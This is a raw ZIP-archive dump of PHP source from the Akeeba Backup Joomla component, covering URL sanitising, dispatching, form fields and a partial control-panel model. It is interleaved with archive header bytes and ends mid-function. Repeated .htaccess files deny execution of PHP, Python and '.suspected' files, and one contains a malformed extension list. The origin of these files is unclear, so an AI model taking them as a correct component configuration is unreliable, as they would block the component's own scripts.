	 * Safely decode a return URL, used in the Backup view.
	 *
	 * Return URLs can have two sources:
	 * - The Backup on Update plugin. In this case the URL is base sixty four encoded and we need to decode it first.
	 * - A custom backend menu item. In this case the URL is a simple string which does not need decoding.
	 *
	 * Further to that, we have to make a few security checks:
	 * - The URL must be internal, i.e. starts with our site's base URL or index.php (this check is executed by Joomla)
	 * - It must not contain single quotes, double quotes, lower than or greater than signs (could be used to execute
	 *   arbitrary JavaScript).
	 *
	 * If any of these violations is detected we return an empty string.
	 *
	 * @param   null|string  $returnUrl
	 *
	 * @return  string
	 */
	static function safeDecodeReturnUrl(?string $returnUrl): string
	{
		// Nulls and non-strings are not allowed
		if (is_null($returnUrl) || !is_string($returnUrl))
		{
			return '';
		}

		// Make sure it's not an empty string
		$returnUrl = trim($returnUrl);

		if (empty($returnUrl))
		{
			return '';
		}

		// Decode a base sixty four encoded string.
		$filter  = new InputFilter();
		$encoded = $filter->clean($returnUrl, 'base64');

		if (($returnUrl == $encoded) && (strpos($returnUrl, 'index.php') === false))
		{
			$possibleReturnUrl = base64_decode($returnUrl);

			if ($possibleReturnUrl !== false)
			{
				$returnUrl = $possibleReturnUrl;
			}
		}

		$checkUrl = $returnUrl;
		$basePath = Uri::base(true);
		$baseUrl = Uri::base(false);

		if (strpos($returnUrl, $basePath) === 0)
		{
			$checkUrl = substr($returnUrl, strlen($basePath));
		}
		elseif (strpos($returnUrl, $baseUrl) === 0)
		{
			$checkUrl = substr($returnUrl, strlen($baseUrl));
		}

		$checkUrl = ltrim($checkUrl, '/');

		// Check if it's an internal URL
		if (!Uri::isInternal($checkUrl))
		{
			return '';
		}

		$disallowedCharacters = ['"', "'", '>', '<'];

		foreach ($disallowedCharacters as $check)
		{
			if (strpos($returnUrl, $check) !== false)
			{
				return '';
			}
		}

		return $returnUrl;
	}
}PK     \Sʉ        src/Helper/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \n~   ~     src/Dispatcher/Dispatcher.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Dispatcher;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Helper\SecretWord;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\AkeebaEngineTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\TriggerEventTrait;
use Akeeba\Engine\Platform;
use Exception;
use JLoader;
use Joomla\CMS\Application\ApplicationHelper;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Dispatcher\ComponentDispatcher;
use Joomla\CMS\Document\HtmlDocument;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\WebAsset\WebAssetItem;
use Joomla\Database\DatabaseAwareTrait;
use ReflectionObject;
use Throwable;

class Dispatcher extends ComponentDispatcher
{
	use TriggerEventTrait;
	use AkeebaEngineTrait;
	use DatabaseAwareTrait;

	/**
	 * The application instance
	 *
	 * @var    CMSApplication
	 * @since  4.0.0
	 */
	protected $app;

	/**
	 * The URL option for the component.
	 *
	 * @var    string
	 * @since  9.0.0
	 */
	protected $option = 'com_akeebabackup';

	protected $defaultController = 'controlpanel';

	public function dispatch()
	{
		// Check the minimum supported PHP version
		$minPHPVersion = '7.4.0';

		if (version_compare(PHP_VERSION, $minPHPVersion, 'lt'))
		{
			throw new \RuntimeException(
				sprintf(
					'Akeeba Backup requires at least PHP version %s. Your server currently uses PHP version %s. Please upgrade your PHP version.',
					$minPHPVersion, PHP_VERSION
				)
			);
		}

		// HHVM made sense in 2013. PHP 7 and later versions are a way better solution than a hybrid PHP interpreter.
		if (defined('HHVM_VERSION'))
		{
			(include_once __DIR__ . '/../../tmpl/commontemplates/hhvm.php')
			|| die('We have detected that you are running HHVM instead of PHP. This software WILL NOT WORK properly on HHVM. Please use PHP 7 or later instead.');

			return;
		}

		try
		{
			$this->triggerEvent('onBeforeDispatch');

			parent::dispatch();

			// This will only execute if there is no redirection set by the Controller
			$this->triggerEvent('onAfterDispatch');
		}
		catch (Throwable $e)
		{
			$title = 'Akeeba Backup';
			$isPro = defined(AKEEBABACKUP_PRO) ? AKEEBABACKUP_PRO : @is_dir(__DIR__ . '/../../AliceChecks');

			if (!(include_once __DIR__ . '/../../tmpl/commontemplates/errorhandler.php'))
			{
				throw $e;
			}
		}
	}

	protected function onBeforeDispatch()
	{
		// Make sure we have a version loaded
		@include_once(__DIR__ . '/../../version.php');

		if (!defined('AKEEBABACKUP_VERSION'))
		{
			define('AKEEBABACKUP_VERSION', 'dev');
			define('AKEEBABACKUP_DATE', date('Y-m-d'));
		}

		if (!defined('AKEEBABACKUP_PRO'))
		{
			define('AKEEBABACKUP_PRO', @is_dir(__DIR__ . '/../../AliceChecks'));
		}

		// Load the languages
		$this->loadLanguage();

		// Apply the view and controller from the request, falling back to the default view/controller if necessary
		$this->applyViewAndController();

		// Access control
		$this->checkAccess();

		// Load Akeeba Engine
		$this->loadAkeebaEngine($this->getDatabase(), $this->mvcFactory);

		// Load the Akeeba Engine configuration
		try
		{
			$this->loadAkeebaEngineConfiguration();
		}
		catch (Exception $e)
		{
			// Maybe the tables are not installed?
			$msg = Text::_('COM_AKEEBABACKUP_CONTROLPANEL_MSG_REBUILTTABLES');
			$this->app->enqueueMessage($msg, 'warning');
			$this->app->redirect(Uri::base(), 307);
		}

		// Prevents the "SQLSTATE[HY000]: General error: 2014" due to resource sharing with Akeeba Engine
		$this->fixPDOMySQLResourceSharing();

		// Load the utils helper library
		Platform::getInstance()->load_version_defines();
		Platform::getInstance()->apply_quirk_definitions();

		// Set up Alice's autoloader
		if (defined('AKEEBABACKUP_PRO') && AKEEBABACKUP_PRO)
		{
			JLoader::registerNamespace('Akeeba\Alice', __DIR__ . '/../../AliceChecks');
		}

		// Make sure the front-end backup Secret Word is stored encrypted
		$params = ComponentHelper::getParams($this->option);
		SecretWord::enforceEncryption($params, 'frontend_secret_word');

		$this->loadCommonStaticMedia();
	}

	/**
	 * Prevents the "SQLSTATE[HY000]: General error: 2014" due to resource sharing with Akeeba Engine.
	 *
	 * @since 7.5.2
	 */
	protected function fixPDOMySQLResourceSharing(): void
	{
		// This fix only applies to PHP 7.x, not 8.x
		if (version_compare(PHP_VERSION, '8.0', 'ge'))
		{
			return;
		}

		$dbDriver = $this->getDatabase()->getName() ?? $this->getDatabase()->name ?? 'mysql';

		if ($dbDriver !== 'pdomysql')
		{
			return;
		}

		$this->getDatabase()->disconnect();
	}

	/**
	 * Load the language.
	 *
	 * Automatically loads en-GB and the site's fallback language (if different), then merges it with the language of
	 * the current user. First tries loading languages from the site's main folders before falling back to the ones
	 * shipped with the component itself.
	 *
	 * @return  void
	 *
	 * @since   9.0.0
	 */
	protected function loadLanguage()
	{
		$jLang = $this->app->getLanguage();

		$jLang->load($this->option, JPATH_BASE, 'en-GB', true, true)
		|| $jLang->load(
			$this->option, JPATH_ADMINISTRATOR . '/components/com_akeebabackup', 'en-GB', true, true
		);

		$jLang->load($this->option, JPATH_BASE, null, true)
		|| $jLang->load(
			$this->option, JPATH_ADMINISTRATOR . '/components/com_akeebabackup', null, true
		);
	}

	protected function loadCommonStaticMedia()
	{
		// Make sure we run under a CMS application
		if (!($this->app instanceof CMSApplication))
		{
			return;
		}

		// Make sure the document is HTML
		$document = $this->app->getDocument();

		if (!($document instanceof HtmlDocument))
		{
			return;
		}

		/**
		 * Joomla applies its own version string in OUR assets which is totally dumb. It inherently assumes that third
		 * party extensions assets are only updated when Joomla itself is updated. Typical Joomla core development,
		 * can't see past its own nose. We will work around that.
		 */
		$versionModifier    = $this->app->get('debug') ? microtime() : '';
		$akeebaMediaVersion = ApplicationHelper::getHash(AKEEBABACKUP_VERSION . AKEEBABACKUP_DATE . $versionModifier);

		$webAssetManager = $document->getWebAssetManager();
		$waRegistry      = $webAssetManager->getRegistry();
		$waRegistry->get('preset', 'com_akeebabackup.common');

		$refObj  = new ReflectionObject($waRegistry);
		$refProp = $refObj->getProperty('assets');

		if (version_compare(PHP_VERSION, '8.1.0', 'lt'))
		{
			$refProp->setAccessible(true);
		}

		$registeredAssets = $refProp->getValue($waRegistry);


		foreach ($registeredAssets as $area => $assets)
		{
			$temp = [];

			/** @var WebAssetItem $assetItem */
			foreach ($assets as $key => $assetItem)
			{
				if (substr($key, 0, 17) != 'com_akeebabackup.')
				{
					$temp[$key] = $assetItem;

					continue;
				}

				$refAI      = new ReflectionObject($assetItem);
				$refVersion = $refAI->getProperty('version');

				if (version_compare(PHP_VERSION, '8.1.0', 'lt'))
				{
					$refVersion->setAccessible(true);
				}

				$refVersion->setValue($assetItem, $akeebaMediaVersion);

				$temp[$key] = $assetItem;
			}

			$registeredAssets[$area] = $temp;
			unset($temp);
		}

		$refProp->setValue($waRegistry, $registeredAssets);

		// Finally, load our 'common' preset
		$webAssetManager
			->usePreset('com_akeebabackup.common');

		if (version_compare(JVERSION, '4.999.999', 'gt'))
		{
			$webAssetManager
				->useStyle('com_akeebabackup.j5')
				->useStyle('com_akeebabackup.j5dark');
		}
	}

	private function applyViewAndController(): void
	{
		// Handle a custom default controller name
		$view       = $this->input->getCmd('view', $this->defaultController);
		$controller = $this->input->getCmd('controller', $view);
		$task       = $this->input->getCmd('task', 'main');

		// Check for a controller.task command.
		if (strpos($task, '.') !== false)
		{
			// Explode the controller.task command.
			[$controller, $task] = explode('.', $task);
		}

		$this->input->set('view', $controller);
		$this->input->set('controller', $controller);
		$this->input->set('task', $task);
	}
}PK     \Sʉ        src/Dispatcher/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \'{z  z  !  src/Field/BackupprofilesField.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Field;

defined('_JEXEC') || die();

use Joomla\CMS\Factory;
use Joomla\CMS\Form\Field\ListField;
use Joomla\CMS\Language\Text;
use Joomla\Database\DatabaseDriver;
use Joomla\Database\DatabaseInterface;

/**
 * Our main element class, creating a multi-select list out of an SQL statement
 */
class BackupprofilesField extends ListField
{
	protected $type = 'Backupprofiles';

	protected function getInput()
	{
		// The default option goes on top
		$showNone = $this->element['show_none'] ? (string) $this->element['show_none'] : '';
		$showNone = in_array(strtolower($showNone), ['yes', '1', 'true', 'on']);

		if ($showNone)
		{
			$this->addOption(Text::_('COM_AKEEBABACKUP_FILTER_SELECT_PROFILEID'), [
				'value' => ''
			]);
		}

		// Add options for each and every backup profile
		/** @var DatabaseDriver $db */
		$db = method_exists($this, 'getDatabase')
			? $this->getDatabase()
			:Factory::getContainer()->get(DatabaseInterface::class);

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select([
				$db->qn('id'),
				$db->qn('description'),
			])->from($db->qn('#__akeebabackup_profiles'));
		$db->setQuery($query);

		$objectList = $db->loadObjectList() ?? [];

		foreach ($objectList as $o)
		{
			$this->addOption("#{$o->id}: {$o->description}", [
				'value' => $o->id,
			]);
		}

		// Call the parent method and be done with it
		return parent::getInput();
	}
}
PK     \*G  G    src/Field/AkencryptedField.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Field;

defined('_JEXEC') || die();

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\AkeebaEngineTrait;
use Akeeba\Engine\Factory;
use Exception;
use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\CMS\Form\Field\TextField;
use Joomla\Database\DatabaseInterface;

class AkencryptedField extends TextField
{
	use AkeebaEngineTrait;

	protected $type = "Akencrypted";

	protected function getInput()
	{
		$this->value = $this->conditionalDecrypt($this->value);

		return parent::getInput();
	}

	private function conditionalDecrypt($value)
	{
		// If the Factory is not already loaded we have to load the
		if (!class_exists('Akeeba\Engine\Factory'))
		{
			$dbo = method_exists($this, 'getDatabase')
				? $this->getDatabase()
				: JoomlaFactory::getApplication()->bootComponent('com_akeebabackup')->getContainer()->get(DatabaseInterface::class);

			try
			{
				$this->loadAkeebaEngine($dbo);
				$this->loadAkeebaEngineConfiguration();
			}
			catch (Exception $e)
			{
				return $value;
			}
		}

		$secureSettings = Factory::getSecureSettings();

		return $secureSettings->decryptSettings($this->value);
	}
}
PK     \Sʉ        src/Field/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \,^      src/Field/UrlencodedField.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Field;

defined('_JEXEC') || die();

use Joomla\CMS\Form\Field\TextField;

class UrlencodedField extends TextField
{
	protected $type = 'Urlencoded';

	protected function getInput()
	{
		$this->value = urlencode($this->value);

		return parent::getInput();
	}
}
PK     \cj      src/Field/Oauth2urlField.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Field;

defined('_JEXEC') || die;

use Joomla\CMS\Form\Field\NoteField;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;

/**
 * Form field for the custom OAuth2 helper URLs
 */
class Oauth2urlField extends NoteField
{
	protected function getLabel()
	{
		return '';
	}

	protected function getInput()
	{
		$engine = $this->element['engine'] ?? 'example';
		$uri = rtrim(Uri::base() ,'/');

		if (str_ends_with($uri, '/administrator'))
		{
			$uri = substr($uri, 0, -14);
		}

		$text1 = Text::_('COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_YOU_WILL_NEED');
		$text2 = Text::_('COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_CALLBACK_URL');
		$text3 = Text::_('COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_HELPER_URL');
		$text4 = Text::_('COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_REFRESH_URL');

		return <<< HTML
<div class="alert alert-info mx-2 my-2">
	<p>
		$text1
	</p>
	<p>
		<strong>$text2</strong>:
		<br/>
		<code>$uri/index.php?option=com_akeebabackup&view=oauth2&task=step2&format=raw&engine={$engine}</code>
	</p>
	<p>
		<strong>$text3</strong>:
		<br/>
		<code>$uri/index.php?option=com_akeebabackup&view=oauth2&task=step1&format=raw&engine={$engine}</code>
	</p>
	<p>
		<strong>$text4</strong>:
		<br/>
		<code>$uri/index.php?option=com_akeebabackup&view=oauth2&task=refresh&format=raw&engine={$engine}</code>
	</p>
</div>
HTML;

	}
}PK     \-f  f    src/Model/ControlpanelModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Helper\SecretWord;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ModelChmodTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Service\ComponentParameters;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Util\Complexify;
use Exception;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\User\UserHelper;
use Joomla\Database\ParameterType;
use Joomla\Filesystem\Folder;
use Joomla\Http\HttpFactory;
use Joomla\Http\Transport\Curl as CurlTransport;
use Joomla\Http\Transport\Stream as StreamTransport;
use RuntimeException;
use stdClass;

/**
 * ControlPanel model. Generic maintenance tasks used mainly from the ControlPanel page.
 */
#[\AllowDynamicProperties]
class ControlpanelModel extends BaseDatabaseModel
{
	use ModelChmodTrait;

	protected static $systemFolders = [
		'administrator',
		'administrator/cache/',
		'administrator/components/',
		'administrator/help/',
		'administrator/includes/',
		'administrator/language/',
		'administrator/logs/',
		'administrator/manifests/',
		'administrator/modules/',
		'administrator/templates/',
		'cache/',
		'cli/',
		'components/',
		'images/',
		'includes/',
		'language/',
		'layouts/',
		'libraries/',
		'media/',
		'modules/',
		'plugins/',
		'templates/',
		'tmp/',
	];

	/**
	 * Constructor.
	 *
	 * @param   array                $config   An array of configuration options (name, state, dbo, table_path, ignore_request).
	 * @param   MVCFactoryInterface  $factory  The factory.
	 *
	 * @since   9.0.0
	 * @throws  \Exception
	 */
	public function __construct($config = [], ?MVCFactoryInterface $factory = null)
	{
		parent::__construct($config, $factory);

		$this->option = 'com_akeebabackup';
	}

	/**
	 * Gets a list of profiles which will be displayed as quick icons in the interface
	 *
	 * @return  stdClass[]  Array of objects; each has the properties `id` and `description`
	 */
	public function getQuickIconProfiles()
	{
		$db            = $this->getDatabase();
		$access_levels = JoomlaFactory::getApplication()->getIdentity()->getAuthorisedViewLevels();

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select([
				$db->qn('id'),
				$db->qn('description'),
			])->from($db->qn('#__akeebabackup_profiles'))
			->where($db->qn('quickicon') . ' = ' . $db->q(1))
			->whereIn($db->qn('access'), $access_levels)
			->order($db->qn('id') . " ASC");

		$db->setQuery($query);

		$ret = $db->loadObjectList();

		if (empty($ret))
		{
			$ret = [];
		}

		return $ret;
	}

	/**
	 * Was the last backup a failed one? Used to apply magic settings as a means of troubleshooting.
	 *
	 * @return  bool
	 */
	public function isLastBackupFailed()
	{
		// Get the last backup record ID
		$list = Platform::getInstance()->get_statistics_list(['limitstart' => 0, 'limit' => 1]);

		if (empty($list))
		{
			return false;
		}

		$id = $list[0];

		$record = Platform::getInstance()->get_statistics($id);

		return ($record['status'] == 'fail');
	}

	/**
	 * Checks that the media permissions are oh seven double five for directories and oh six double four for files and
	 * fixes them if they are incorrect.
	 *
	 * @param   bool  $force  Forcibly check subresources, even if the parent has correct permissions
	 *
	 * @return  bool  False if we couldn't figure out what's going on
	 */
	public function fixMediaPermissions($force = false)
	{
		// Are we on Windows?
		$isWindows = (DIRECTORY_SEPARATOR == '\\');

		if (function_exists('php_uname'))
		{
			$isWindows = stristr(php_uname(), 'windows');
		}

		// No point changing permissions on Windows, as they have ACLs
		if ($isWindows)
		{
			return true;
		}

		// Check the parent permissions
		$parent      = JPATH_ROOT . '/media/com_akeebabackup';
		$parentPerms = fileperms($parent);

		// If we can't determine the parent's permissions, bail out
		if ($parentPerms === false)
		{
			return false;
		}

		// Fooling some broken file scanners.
		$ohSevenFiveFive          = 500 - 7;
		$ohFourOhSevenFiveFive    = 16000 + 900 - 23;
		$ohSixFourFour            = 450 - 30;
		$ohOneDoubleOhSixFourFour = 33000 + 200 - 12;

		// Fix the parent's permissions if required
		if (($parentPerms != $ohSevenFiveFive) && ($parentPerms != $ohFourOhSevenFiveFive))
		{
			$this->chmod($parent, $ohSevenFiveFive);
		}
		elseif (!$force)
		{
			return true;
		}

		// During development we use symlinks and we don't wanna see that big fat warning
		if (@is_link($parent))
		{
			return true;
		}

		$result = true;

		// Loop through subdirectories
		try
		{
			$folders = Folder::folders($parent, '.', 3, true);
		}
		catch (Exception $e)
		{
			$folders = [];
		}

		foreach ($folders as $folder)
		{
			$perms = fileperms($folder);

			if (($perms != $ohSevenFiveFive) && ($perms != $ohFourOhSevenFiveFive))
			{
				$result &= $this->chmod($folder, $ohSevenFiveFive);
			}
		}

		// Loop through files
		try
		{
			$files = Folder::files($parent, '.', 3, true);
		}
		catch (Exception $e)
		{
			$files = [];
		}

		foreach ($files as $file)
		{
			$perms = fileperms($file);

			if (($perms != $ohSixFourFour) && ($perms != $ohOneDoubleOhSixFourFour))
			{
				$result &= $this->chmod($file, $ohSixFourFour);
			}
		}

		return $result;
	}

	/**
	 * Checks if we should enable settings encryption and applies the change
	 *
	 * @return  void
	 */
	public function checkSettingsEncryption()
	{
		$params = ComponentHelper::getParams('com_akeebabackup');

		// Do we have a key file?
		$filename = JPATH_ADMINISTRATOR . '/components/com_akeebabackup/serverkey.php';

		if (@file_exists($filename) && is_file($filename))
		{
			// We have a key file. Do we need to disable it?
			if ($params->get('useencryption', -1) == 0)
			{
				// User asked us to disable encryption. Let's do it.
				$this->disableSettingsEncryption();
			}

			return;
		}

		if (!Factory::getSecureSettings()->supportsEncryption())
		{
			return;
		}

		if ($params->get('useencryption', -1) != 0)
		{
			// User asked us to enable encryption (or he left us with the default setting!). Let's do it.
			$this->enableSettingsEncryption();
		}
	}

	/**
	 * Updates some internal settings:
	 *
	 * - The stored URL of the site, used for the front-end backup feature (altbackup.php)
	 * - The detected Joomla! libraries path
	 * - Marks all existing profiles as configured, if necessary
	 *
	 * @param   ComponentParameters  $componentParametersService
	 *
	 * @throws Exception
	 */
	public function updateMagicParameters(ComponentParameters $componentParametersService)
	{
		$params = ComponentHelper::getParams('com_akeebabackup');

		if (!$params->get('confwiz_upgrade', 0))
		{
			$this->markOldProfilesConfigured();
		}

		$params->set('confwiz_upgrade', 1);
		$params->set('siteurl', str_replace('/administrator', '', Uri::base()));
		$params->set('jlibrariesdir', Factory::getFilesystemTools()->TranslateWinPath(JPATH_LIBRARIES));

		$componentParametersService->save($params);
	}

	/**
	 * Akeeba Backup displays a popup if your profile is not already configured by Configuration Wizard, the
	 * Configuration page or imported from the Profiles page. This bit of code makes sure that existing profiles will
	 * be marked as already configured just the FIRST time you upgrade to the new version from an old version.
	 *
	 * @return  void
	 * @throws  Exception
	 */
	public function markOldProfilesConfigured()
	{
		// Get all profiles
		$db = $this->getDatabase();

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select([
				$db->qn('id'),
			])->from($db->qn('#__akeebabackup_profiles'))
			->order($db->qn('id') . " ASC");
		$db->setQuery($query);
		$profiles = $db->loadColumn();

		// If there is only one profile it's the default, it's a new installation, and we want you to see the Configuration Wizard
		if (count($profiles) === 1)
		{
			return;
		}

		// Save the current profile number
		$oldProfile = JoomlaFactory::getApplication()->getSession()->get('akeebabackup.profile', 1);

		// Update all profiles
		foreach ($profiles as $profile_id)
		{
			Factory::nuke();
			Platform::getInstance()->load_configuration($profile_id);
			$config = Factory::getConfiguration();
			$config->set('akeeba.flag.confwiz', 1);
			Platform::getInstance()->save_configuration($profile_id);
		}

		// Restore the old profile
		Factory::nuke();
		Platform::getInstance()->load_configuration($oldProfile);
	}

	/**
	 * Check the strength of the Secret Word for front-end and remote backups. If it is insecure return the reason it
	 * is insecure as a string. If the Secret Word is secure return an empty string.
	 *
	 * @return  string
	 */
	public function getFrontendSecretWordError()
	{
		// Is frontend backup enabled?
		$febEnabled =
			(Platform::getInstance()->get_platform_configuration_option('legacyapi_enabled', 0) != 0) ||
			(Platform::getInstance()->get_platform_configuration_option('jsonapi_enabled', 0) != 0);

		if (!$febEnabled)
		{
			return '';
		}

		$secretWord = Platform::getInstance()->get_platform_configuration_option('frontend_secret_word', '');

		try
		{
			Complexify::isStrongEnough($secretWord);
		}
		catch (RuntimeException $e)
		{
			// Ah, the current Secret Word is bad. Create a new one if necessary.
			$newSecret = JoomlaFactory::getApplication()->getSession()->get('akeebabackup.cpanel.newSecretWord', null);

			if (empty($newSecret))
			{
				$newSecret = UserHelper::genRandomPassword(32);

				JoomlaFactory::getApplication()->getSession()->set('akeebabackup.cpanel.newSecretWord', $newSecret);
			}

			return $e->getMessage();
		}

		return '';
	}

	/**
	 * Checks if the mbstring extension is installed and enabled
	 *
	 * @return  bool
	 */
	public function checkMbstring()
	{
		return function_exists('mb_strlen') && function_exists('mb_convert_encoding') &&
			function_exists('mb_substr') && function_exists('mb_convert_case');
	}

	/**
	 * Is the output directory under the configured site root?
	 *
	 * @param   string|null  $outDir  The output directory to check. NULL for the currently configured one.
	 *
	 * @return  bool  True if the output directory is under the site's web root.
	 *
	 * @since   7.0.3
	 */
	public function isOutputDirectoryUnderSiteRoot($outDir = null)
	{
		// Make sure I have an output directory to check
		$outDir = is_null($outDir) ? $this->getOutputDirectory() : $outDir;
		$outDir = @realpath($outDir);

		// If I can't reliably determine the output directory I can't figure out where it's placed in.
		if ($outDir === false)
		{
			return false;
		}

		// Get the site's root
		$siteRoot = $this->getSiteRoot();
		$siteRoot = @realpath($siteRoot);

		// If I can't reliably determine the site's root I can't figure out its relation to the output directory
		if ($siteRoot === false)
		{
			return false;
		}

		return strpos($outDir, $siteRoot) === 0;
	}

	/**
	 * Did the user set up an output directory inside a folder intended for CMS files?
	 *
	 * The idea is that this will cause trouble for two reasons. First, you are mixing user-generated with system
	 * content which might be a REALLY BAD idea in and of itself. Second, some if not all of these folders are meant to
	 * be web-accessible. I cannot possibly protect them against web access without breaking anything.
	 *
	 * @param   string|null  $outDir  The output directory to check. NULL for the currently configured one.
	 *
	 * @return  bool  True if the output directory is inside a CMS system folder
	 *
	 * @since   7.0.3
	 */
	public function isOutputDirectoryInSystemFolder($outDir = null)
	{
		// Make sure I have an output directory to check
		$outDir = is_null($outDir) ? $this->getOutputDirectory() : $outDir;
		$outDir = @realpath($outDir);

		// If I can't reliably determine the output directory I can't figure out where it's placed in.
		if ($outDir === false)
		{
			return false;
		}

		// If the directory is not under the site's root it doesn't belong to the CMS. Simple, huh?
		if (!$this->isOutputDirectoryUnderSiteRoot($outDir))
		{
			return false;
		}

		// Check if we are using the default output directory. This is always allowed.
		$stockDirs     = Platform::getInstance()->get_stock_directories();
		$defaultOutDir = realpath($stockDirs['[DEFAULT_OUTPUT]']);

		// If I can't reliably determine the default output folder I can't figure out its relation to the output folder
		if ($defaultOutDir === false)
		{
			return false;
		}

		// Get the site's root
		$siteRoot = $this->getSiteRoot();
		$siteRoot = @realpath($siteRoot);

		// If I can't reliably determine the site's root I can't figure out its relation to the output directory
		if ($siteRoot === false)
		{
			return false;
		}

		foreach ($this->getSystemFolders() as $folder)
		{
			// Is this a partial or an absolute search?
			$partialSearch = substr($folder, -1) == '/';

			clearstatcache(true);

			$absolutePath = realpath($siteRoot . '/' . $folder);

			if ($absolutePath === false)
			{
				continue;
			}

			if (!$partialSearch)
			{
				if (trim($outDir, '/\\') == trim($absolutePath, '/\\'))
				{
					return true;
				}

				continue;
			}

			// Partial search
			if (strpos($outDir, $absolutePath . DIRECTORY_SEPARATOR) === 0)
			{
				return true;
			}
		}

		return false;
	}

	/**
	 * Does the output directory contain the security-enhancing files?
	 *
	 * This only checks for the presence of .htaccess, web.config, index.php, index.html and index.html but not their
	 * contents. The idea is that an advanced user may want to customise them for some reason or another.
	 *
	 * @param   string|null  $outDir  The output directory to check. NULL for the currently configured one.
	 *
	 * @return  bool  True if all of the security-enhancing files are present.
	 *
	 * @since   7.0.3
	 */
	public function hasOutputDirectorySecurityFiles($outDir = null)
	{
		// Make sure I have an output directory to check
		$outDir = is_null($outDir) ? $this->getOutputDirectory() : $outDir;
		$outDir = @realpath($outDir);

		// If I can't reliably determine the output directory I can't figure out where it's placed in.
		if ($outDir === false)
		{
			return true;
		}

		$files = [
			'.htaccess',
			'web.config',
			'index.php',
			'index.html',
			'index.htm',
		];

		foreach ($files as $file)
		{
			$filePath = $outDir . '/' . $file;

			if (!@file_exists($filePath) || !is_file($filePath))
			{
				return false;
			}
		}

		return true;
	}

	/**
	 * Checks whether the given output directory is directly accessible over the web.
	 *
	 * @param   string|null  $outDir  The output directory to check. NULL for the currently configured one.
	 *
	 * @return  array
	 *
	 * @since   7.0.3
	 */
	public function getOutputDirectoryWebAccessibleState($outDir = null)
	{
		$ret = [
			'readFile'   => false,
			'listFolder' => false,
			'isSystem'   => $this->isOutputDirectoryInSystemFolder(),
			'hasRandom'  => $this->backupFilenameHasRandom(),
		];

		// Make sure I have an output directory to check
		$outDir = is_null($outDir) ? $this->getOutputDirectory() : $outDir;
		$outDir = @realpath($outDir);

		// If I can't reliably determine the output directory I can't figure out its web path
		if ($outDir === false)
		{
			return $ret;
		}

		$checkFile     = $this->getAccessCheckFile($outDir);
		$checkFilePath = $outDir . '/' . $checkFile;

		if (is_null($checkFile))
		{
			return $ret;
		}

		$webPath = $this->getOutputDirectoryWebPath($outDir);

		if (is_null($webPath))
		{
			@unlink($checkFilePath);

			return $ret;
		}

		// Construct a URL for the check file
		$baseURL = rtrim(Uri::base(), '/');

